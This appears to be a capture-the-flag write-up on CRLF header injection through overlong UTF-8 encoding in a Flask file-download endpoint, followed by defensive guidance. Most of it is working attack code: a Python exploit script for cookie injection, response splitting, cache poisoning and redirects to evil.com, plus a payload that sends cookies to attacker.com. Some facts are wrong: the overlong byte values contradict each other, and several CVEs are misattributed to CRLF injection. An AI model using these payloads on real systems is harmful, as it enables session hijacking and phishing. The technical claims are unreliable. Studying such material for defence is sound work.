CRLF Injection - HTTP Header Injection via Overlong UTF-8 Encoding

Challenge Type: Web Security

Difficulty: Medium

Tags: CRLF Injection, HTTP Response Splitting, Header Injection, UTF-8 Bypass

Challenge Description

This challenge demonstrates a critical CRLF (Carriage Return Line Feed) injection vulnerability in a file download endpoint. The application reflects user-supplied filename parameter in the Content-Disposition header without proper sanitization. While basic CRLF sequences are filtered, the application is vulnerable to overlong UTF-8 encoding bypass techniques.

Challenge Overview

The vulnerability enables multiple attack vectors: - HTTP Header Injection: Inject arbitrary HTTP headers - Cookie Injection: Set malicious cookies for session hijacking - Response Splitting: Control the entire HTTP response body - XSS via Headers: Inject JavaScript through custom headers - Open Redirect: Force browser redirects via Location header - Cache Poisoning: Manipulate cache behavior

Application Architecture

Normal File Download Flow

Client                          Server
  |                               |
  |---- GET /download?filename=test.pdf ------>|
  |                                            |
  |<--- HTTP/1.1 200 OK ------------------------|
  |     Content-Disposition: attachment;        |
  |       filename="test.pdf"                   |
  |     Content-Type: application/octet-stream  |
  |     [file content]                          |

HTTP Response Structure

HTTP/1.1 200 OK                          ← Status line
Content-Disposition: attachment;         ← Headers
  filename="document.pdf"                ← Controllable!
Content-Type: application/octet-stream
Content-Length: 1234
                                         ← CRLF separates headers from body
[Binary file content]                    ← Response body

The Vulnerability

The server reflects the filename parameter without proper CRLF sanitization:

# Vulnerable server code (simplified)
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/download')
def download():
    filename = request.args.get('filename', 'default.txt')

    # WEAK FILTERING: Only blocks literal %0d%0a
    if '%0d%0a' in filename.lower():
        return "Invalid filename", 400

    # VULNERABLE: Reflects filename directly into header
    headers = {
        'Content-Disposition': f'attachment; filename="{filename}"'
        #                                              ↑ INJECTION POINT
    }

    return Response("File content here", headers=headers)

Why This is Vulnerable: 1. Insufficient Filtering: Only blocks %0d%0a (standard URL-encoded CRLF) 2. No UTF-8 Validation: Doesn't detect overlong UTF-8 encodings 3. Direct Header Injection: User input becomes part of HTTP headers 4. Response Splitting Possible: Can inject entire response body

CRLF Injection Techniques

Standard CRLF (Blocked)

%0d%0a = CR LF (blocked by filter)

Overlong UTF-8 Encoding (Bypass)

%c0%0d = Overlong encoding for CR (0x0D)
%c0%0a = Overlong encoding for LF (0x0A)

How Overlong UTF-8 Works:

UTF-8 allows multiple byte representations for the same character. While valid UTF-8 uses the shortest form, some parsers accept longer forms:

Character: CR (Carriage Return = 0x0D)
Standard:  0x0D (1 byte)
Overlong:  0xC0 0x8D (2 bytes) - invalid but sometimes accepted

Character: LF (Line Feed = 0x0A)
Standard:  0x0A (1 byte)
Overlong:  0xC0 0x8A (2 bytes) - invalid but sometimes accepted

Simplified overlong bypass:

%c0%0d = Server decodes to CR (bypasses %0d check)
%c0%0a = Server decodes to LF (bypasses %0a check)

Solution Walkthrough

Phase 1: Understanding HTTP Headers

HTTP response format:

HTTP/1.1 200 OK
Header1: Value1
Header2: Value2
[CRLF - blank line]
[Body content]

To inject a new header, we need:

filename=legit.pdf[CRLF]X-Injected-Header: malicious

Phase 2: Bypassing CRLF Filters

Standard payload (blocked):

# URL: /download?filename=test.pdf%0d%0aX-Injected: value
# Result: 400 Bad Request (filter blocks %0d%0a)

Overlong UTF-8 bypass (works):

# URL: /download?filename=test.pdf%c0%0d%c0%0aX-Injected: value
# Result: 200 OK with injected header!

CRLF_BYPASS = "%c0%0d%c0%0a"

Phase 3: Cookie Injection Attack

Inject a session cookie to hijack authentication:

import requests

BASE_URL = "http://h4k0b.cyhub.ctf.am:5575"
CRLF = "%c0%0d%c0%0a"

def inject_cookie(cookie_name, cookie_value):
    """Inject Set-Cookie header"""
    payload = f"x{CRLF}Set-Cookie: {cookie_name}={cookie_value}"
    url = f"{BASE_URL}/download?filename={payload}"

    resp = requests.get(url, allow_redirects=False)

    print(f"Status: {resp.status_code}")
    print(f"Headers: {dict(resp.headers)}")

    if 'Set-Cookie' in resp.headers:
        print(f"[+] Successfully injected cookie: {resp.headers['Set-Cookie']}")

# Example: Inject admin session
inject_cookie("session", "admin_token_12345")

Attack Result:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x
Set-Cookie: session=admin_token_12345"
Content-Type: application/octet-stream
[content]

Phase 4: HTTP Response Splitting

Inject entire response body to deliver malicious content:

def response_splitting(html_body):
    """
    Inject complete HTML response
    Double CRLF ends headers and starts body
    """
    # Inject: [CRLF][CRLF]<html>...</html>
    payload = f"x{CRLF}{CRLF}{html_body}"
    url = f"{BASE_URL}/download?filename={payload}"

    return url

# Example: Inject XSS payload
malicious_html = """
<html>
<body>
    <h1>You've been pwned!</h1>
    <script>
        // Steal cookies
        fetch('http://attacker.com/steal?c=' + document.cookie);

        // Redirect to phishing page
        window.location = 'http://evil.com/fake-login';
    </script>
</body>
</html>
"""

exploit_url = response_splitting(malicious_html)
print(f"Exploit URL: {exploit_url}")

Attack Result:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x

<html><body><h1>Pwned!</h1><script>...</script></body></html>"
[original content ignored]

Browser renders the injected HTML instead of downloading file.

Phase 5: Open Redirect Attack

Inject Location header to redirect victims:

def open_redirect(redirect_url):
    """Inject Location header for redirection"""
    payload = f"x{CRLF}Location: {redirect_url}"
    url = f"{BASE_URL}/download?filename={payload}"

    return url

# Example: Redirect to phishing site
phishing_url = open_redirect("http://evil.com/fake-bank-login")
print(f"Phishing URL: {phishing_url}")

Attack Flow: 1. Attacker sends victim malicious URL 2. Victim clicks: download?filename=x%c0%0d%c0%0aLocation: http://evil.com 3. Server responds with Location header 4. Browser redirects to attacker's site 5. Victim enters credentials on fake login page

Phase 6: Cache Poisoning

Inject cache control headers to persist attack:

def cache_poisoning():
    """Inject cache headers to persist malicious response"""
    payload = f"x{CRLF}Cache-Control: public, max-age=31536000{CRLF}X-Cache-Status: HIT"
    url = f"{BASE_URL}/download?filename={payload}"

    resp = requests.get(url)

    if 'Cache-Control' in resp.headers:
        print("[+] Successfully poisoned cache!")
        print(f"    Cache will persist for: {resp.headers['Cache-Control']}")

Complete Exploit Code

#!/usr/bin/env python3
"""
CRLF Injection - HTTP Header Injection Exploit
Demonstrates overlong UTF-8 bypass technique
"""

import requests
import urllib.parse

BASE_URL = "http://h4k0b.cyhub.ctf.am:5575"

# Overlong UTF-8 encoding for CRLF
CRLF_BYPASS = "%c0%0d%c0%0a"


def inject_header(header_name, header_value):
    """Generate exploit URL to inject a custom header"""
    payload = f"x{CRLF_BYPASS}{header_name}: {header_value}"
    return f"{BASE_URL}/download?filename={payload}"


def inject_cookie(cookie_name, cookie_value):
    """Generate exploit URL to inject a Set-Cookie header"""
    return inject_header("Set-Cookie", f"{cookie_name}={cookie_value}")


def inject_multiple_headers(headers):
    """Generate exploit URL to inject multiple headers"""
    payload = "x"
    for name, value in headers.items():
        payload += f"{CRLF_BYPASS}{name}: {value}"
    return f"{BASE_URL}/download?filename={payload}"


def response_splitting(html_body):
    """
    HTTP Response Splitting - inject entire response body
    Double CRLF to end headers and start body
    """
    payload = f"x{CRLF_BYPASS}{CRLF_BYPASS}{html_body}"
    return f"{BASE_URL}/download?filename={payload}"


def test_exploit(url, description):
    """Test an exploit URL and show the response"""
    print(f"\n{'='*60}")
    print(f"[*] {description}")
    print(f"[*] URL: {url[:100]}...")
    print("-" * 60)

    try:
        resp = requests.get(url, allow_redirects=False, timeout=10)
        print(f"[+] Status: {resp.status_code}")
        print(f"[+] Headers:")
        for key, value in resp.headers.items():
            print(f"    {key}: {value[:80]}")
        if resp.text:
            print(f"[+] Body preview: {resp.text[:200]}...")
    except Exception as e:
        print(f"[-] Error: {e}")


def main():
    print("""
    ╔══════════════════════════════════════════════════════════╗
    ║  CRLF Injection Exploit - HTTP Header Injection          ║
    ║  Bypass: %c0%0d%c0%0a (overlong UTF-8 encoding)          ║
    ╚══════════════════════════════════════════════════════════╝
    """)

    # Exploit 1: Cookie Injection
    url1 = inject_cookie("session", "admin")
    test_exploit(url1, "Cookie Injection - Session Hijacking")

    # Exploit 2: Custom Header Injection
    url2 = inject_header("X-XSS-Payload", "<script>alert('XSS')</script>")
    test_exploit(url2, "Custom Header Injection")

    # Exploit 3: Cache Poisoning
    url3 = inject_multiple_headers({
        "X-Cache-Status": "HIT",
        "Cache-Control": "public, max-age=31536000"
    })
    test_exploit(url3, "Cache Poisoning Headers")

    # Exploit 4: HTTP Response Splitting
    malicious_html = "<html><body><h1>Pwned!</h1></body></html>"
    url4 = response_splitting(malicious_html)
    test_exploit(url4, "HTTP Response Splitting - Full Body Injection")

    # Exploit 5: Open Redirect
    url5 = inject_header("Location", "http://evil.com")
    test_exploit(url5, "Open Redirect via Location Header")

    print("\n" + "="*60)
    print("[*] All exploit URLs generated successfully")
    print("="*60)


if __name__ == "__main__":
    main()

Technical Details

Tools and Libraries

  • Python 3.x: Main scripting language
  • requests: HTTP client library
  • urllib.parse: URL encoding utilities

Exploit Execution

python crlf_exploit.py

Expected Output

╔══════════════════════════════════════════════════════════╗
  CRLF Injection Exploit - HTTP Header Injection          
  Bypass: %c0%0d%c0%0a (overlong UTF-8 encoding)          
╚══════════════════════════════════════════════════════════╝

====================================================
[*] Cookie Injection - Session Hijacking
----------------------------------------------------
[+] Status: 200
[+] Headers:
    Content-Disposition: attachment; filename="x
    Set-Cookie: session=admin"
[+] Successfully injected cookie!

Key Takeaways

CRLF Injection Impact

  1. Session Hijacking: Inject Set-Cookie to steal sessions
  2. XSS Attacks: Inject malicious scripts via headers or body
  3. Cache Poisoning: Persist attacks on CDN/proxy layers
  4. Open Redirect: Phishing attacks via Location header
  5. Response Splitting: Complete control over HTTP response

Defense Mechanisms

Vulnerable Code Patterns

# BAD: Direct string concatenation
headers['Content-Disposition'] = f'attachment; filename="{user_input}"'

# BAD: Insufficient filtering
if '%0d%0a' in filename:
    return error()  # Doesn't catch UTF-8 variants

# BAD: Blacklist approach
filename = filename.replace('\r', '').replace('\n', '')
# Doesn't handle encoded forms

Secure Code Patterns

# GOOD: Use framework's built-in header setting
from flask import send_file
return send_file(filepath, as_attachment=True, download_name=safe_filename)

# GOOD: Strict whitelist validation
import re
def sanitize_filename(filename):
    # Only allow alphanumeric, dash, underscore, dot
    if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
        raise ValueError("Invalid filename")
    return filename

# GOOD: Encode/escape special characters
from werkzeug.utils import secure_filename
safe_name = secure_filename(user_provided_filename)

# GOOD: Content-Security-Policy prevents injected scripts
response.headers['Content-Security-Policy'] = "default-src 'self'"

Defense Recommendations

  1. Use Framework Functions
  2. Never manually construct HTTP headers
  3. Use built-in functions like Flask's send_file()

  4. Input Validation ```python import re

def validate_filename(filename): # Whitelist: only safe characters if not re.match(r'^[a-zA-Z0-9._-]{1,255}$', filename): raise ValueError("Invalid filename format")

   # Block path traversal
   if '..' in filename or '/' in filename:
       raise ValueError("Path traversal detected")

   return filename

```

  1. Output Encoding ```python from urllib.parse import quote

# Encode filename for header safe_filename = quote(user_filename) response.headers['Content-Disposition'] = f'attachment; filename="{safe_filename}"' ```

  1. Security Headers python # Prevent XSS from injected headers response.headers['Content-Security-Policy'] = "default-src 'self'" response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['X-Frame-Options'] = 'DENY'

  2. Web Application Firewall (WAF)

  3. Detect CRLF patterns including encoded variants
  4. Block requests with suspicious header characters

  5. HTTP Strict Transport Security (HSTS) python response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

Testing for CRLF Vulnerabilities

# Test standard CRLF
curl "http://target.com/download?filename=test%0d%0aX-Test:+injected"

# Test overlong UTF-8
curl "http://target.com/download?filename=test%c0%0d%c0%0aX-Test:+injected"

# Test double encoding
curl "http://target.com/download?filename=test%250d%250aX-Test:+injected"

# Test Unicode variants
curl "http://target.com/download?filename=test%e5%98%8a%e5%98%8dX-Test:+injected"

Real-World Examples

CVE References

  • CVE-2020-5902: F5 BIG-IP CRLF injection leading to RCE
  • CVE-2019-11043: PHP-FPM CRLF leading to code execution
  • CVE-2016-4437: Apache Shiro CRLF injection

Attack Scenarios

  1. Social Engineering + Open Redirect Email: "Click here to download your invoice" Link: legitimate-site.com/download?file=invoice.pdf%c0%0d%c0%0aLocation: evil.com

  2. Web Cache Poisoning Attacker poisons CDN cache with malicious response All users receive malicious content for hours/days

  3. Session Fixation Attacker sets known session ID via Set-Cookie injection Victim logs in with fixed session Attacker hijacks authenticated session

References